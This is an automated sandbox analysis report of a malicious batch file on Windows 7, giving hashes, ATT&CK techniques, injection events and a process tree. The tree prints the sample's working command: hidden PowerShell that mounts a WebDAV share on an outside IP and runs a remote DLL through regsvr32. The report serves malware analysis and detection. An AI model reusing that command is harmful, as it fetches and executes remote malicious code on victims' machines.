3eaf367eb49955b90ea5c12849e10a1f6023bbaf5e1357978f04482f67fe8e6f

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 06:50

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General

Target

337826846301124085.bat
Size

2KB
MD5

998857e16764657be1ff8932a538d504
SHA1

a31ceb1a6a6773e0dbf890de7543b8abaea25939
SHA256

3eaf367eb49955b90ea5c12849e10a1f6023bbaf5e1357978f04482f67fe8e6f
SHA512

2f89361ba5f653828e916055ba90590c94690e02cfc9e92ba155d3030eacc31e65bb933ff0b52ee600e036c10aabb56393bf93d711cc04a929c19a64ee20e8d4

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2632	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2632	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2632	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2920	wordpad.exe
2920	wordpad.exe
2920	wordpad.exe
2920	wordpad.exe
2920	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3052 wrote to memory of 2920	3052	cmd.exe	31
PID 3052 wrote to memory of 2920	3052	cmd.exe	31
PID 3052 wrote to memory of 2920	3052	cmd.exe	31
PID 3052 wrote to memory of 2632	3052	cmd.exe	32
PID 3052 wrote to memory of 2632	3052	cmd.exe	32
PID 3052 wrote to memory of 2632	3052	cmd.exe	32
PID 2632 wrote to memory of 2148	2632	powershell.exe	34
PID 2632 wrote to memory of 2148	2632	powershell.exe	34
PID 2632 wrote to memory of 2148	2632	powershell.exe	34
PID 2632 wrote to memory of 2932	2632	powershell.exe	35
PID 2632 wrote to memory of 2932	2632	powershell.exe	35
PID 2632 wrote to memory of 2932	2632	powershell.exe	35
PID 2632 wrote to memory of 2932	2632	powershell.exe	35
PID 2632 wrote to memory of 2932	2632	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\337826846301124085.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\31771253245916.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2632
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2148
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\31771253245916.dll
    3⤵
    PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2632-23-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2632-24-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/3052-17-0x00000000023B0000-0x00000000024B0000-memory.dmp

Filesize
1024KB

Download